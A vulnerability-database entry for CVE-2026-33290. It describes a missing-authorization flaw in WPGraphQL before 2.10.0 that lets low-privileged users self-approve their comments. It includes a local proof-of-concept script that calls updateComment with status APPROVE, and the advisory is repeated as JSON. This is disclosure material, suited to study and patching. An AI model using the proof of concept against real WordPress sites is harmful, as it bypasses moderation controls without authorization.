CVE-2026-33290 (GCVE-0-2026-33290)
Vulnerability from cvelistv5
Published
2026-03-23 23:58
Modified
2026-03-24 18:38
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-862 - Missing Authorization
Summary
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.
### Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).
This means a non-moderator owner can submit status during update and transition moderation state.
### PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
1. Start environment:
npm install
npm run wp-env start
2. Run this PoC:
```
npm run wp-env run cli -- wp eval '
add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps");
if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
}
$user = get_user_by("id",$user_id);
$user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post",
"post_status" => "publish",
"post_type" => "post",
"comment_status" => "open",
]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id,
"comment_content" => "pending comment",
"user_id" => $user_id,
"comment_author" => $user->display_name,
"comment_author_email" => $user->user_email,
"comment_approved" => "0",
]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
"comment_id" => $comment_id
]);
'
```
3. Observe result:
- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1
### Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
References
| URL | Tags | |
|---|---|---|
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| wp-graphql | wp-graphql |
Version: < 2.10.0 |
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"value": "WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n npm install\n npm run wp-env start\n\n2. Run this PoC:\n\n```\n npm run wp-env run cli -- wp eval \u0027\n add_role(\"no_caps\",\"No Caps\",[]);\n $user_id = username_exists(\"poc_nocaps\");\n if ( ! $user_id ) {\n $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n }\n $user = get_user_by(\"id\",$user_id);\n $user-\u003eset_role(\"no_caps\");\n\n $post_id = wp_insert_post([\n \"post_title\" =\u003e \"PoC post\",\n \"post_status\" =\u003e \"publish\",\n \"post_type\" =\u003e \"post\",\n \"comment_status\" =\u003e \"open\",\n ]);\n\n $comment_id = wp_insert_comment([\n \"comment_post_ID\" =\u003e $post_id,\n \"comment_content\" =\u003e \"pending comment\",\n \"user_id\" =\u003e $user_id,\n \"comment_author\" =\u003e $user-\u003edisplay_name,\n \"comment_author_email\" =\u003e $user-\u003euser_email,\n \"comment_approved\" =\u003e \"0\",\n ]);\n\n wp_set_current_user($user_id);\n\n $result = graphql([\n \"query\" =\u003e \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n \"variables\" =\u003e [ \"id\" =\u003e (string)$comment_id ],\n ]);\n\n echo wp_json_encode([\n \"role_caps\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\n \"status\" =\u003e $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n \"db_comment_approved\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\n \"comment_id\" =\u003e $comment_id\n ]);\n \u0027\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content."
}
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"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"version": "3.1"
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"url": "https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh"
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"source": {
"advisory": "GHSA-9hc3-mh5h-4fgh",
"discovery": "UNKNOWN"
},
"title": "WPGraphQL Repo\u0027s updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission"
}
},
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Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\\n\\n### Details\\n\\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\\n\\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\\n\\nThis means a non-moderator owner can submit status during update and transition moderation state.\\n\\n### PoC\\n\\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\\n\\n1. Start environment:\\n\\n npm install\\n npm run wp-env start\\n\\n2. Run this PoC:\\n\\n```\\n npm run wp-env run cli -- wp eval \u0027\\n add_role(\\\"no_caps\\\",\\\"No Caps\\\",[]);\\n $user_id = username_exists(\\\"poc_nocaps\\\");\\n if ( ! $user_id ) {\\n $user_id = wp_create_user(\\\"poc_nocaps\\\",\\\"Passw0rd!\\\",\\\"poc_nocaps@example.com\\\");\\n }\\n $user = get_user_by(\\\"id\\\",$user_id);\\n $user-\u003eset_role(\\\"no_caps\\\");\\n\\n $post_id = wp_insert_post([\\n \\\"post_title\\\" =\u003e \\\"PoC post\\\",\\n \\\"post_status\\\" =\u003e \\\"publish\\\",\\n \\\"post_type\\\" =\u003e \\\"post\\\",\\n \\\"comment_status\\\" =\u003e \\\"open\\\",\\n ]);\\n\\n $comment_id = wp_insert_comment([\\n \\\"comment_post_ID\\\" =\u003e $post_id,\\n \\\"comment_content\\\" =\u003e \\\"pending comment\\\",\\n \\\"user_id\\\" =\u003e $user_id,\\n \\\"comment_author\\\" =\u003e $user-\u003edisplay_name,\\n \\\"comment_author_email\\\" =\u003e $user-\u003euser_email,\\n \\\"comment_approved\\\" =\u003e \\\"0\\\",\\n ]);\\n\\n wp_set_current_user($user_id);\\n\\n $result = graphql([\\n \\\"query\\\" =\u003e \\\"mutation U(\\\\$id:ID!){ updateComment(input:{id:\\\\$id,status:APPROVE}){ success comment{ databaseId status } } }\\\",\\n \\\"variables\\\" =\u003e [ \\\"id\\\" =\u003e (string)$comment_id ],\\n ]);\\n\\n echo wp_json_encode([\\n \\\"role_caps\\\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\\n \\\"status\\\" =\u003e $result[\\\"data\\\"][\\\"updateComment\\\"][\\\"comment\\\"][\\\"status\\\"] ?? null,\\n \\\"db_comment_approved\\\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\\n \\\"comment_id\\\" =\u003e $comment_id\\n ]);\\n \u0027\\n```\\n\\n3. Observe result:\\n\\n- role_caps is empty (or no moderate_comments)\\n- mutation returns status: APPROVE\\n- DB value becomes comment_approved = 1\\n\\n### Impact\\n\\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-862\", \"description\": \"CWE-862: Missing Authorization\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-23T23:58:57.345Z\"}}}",
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
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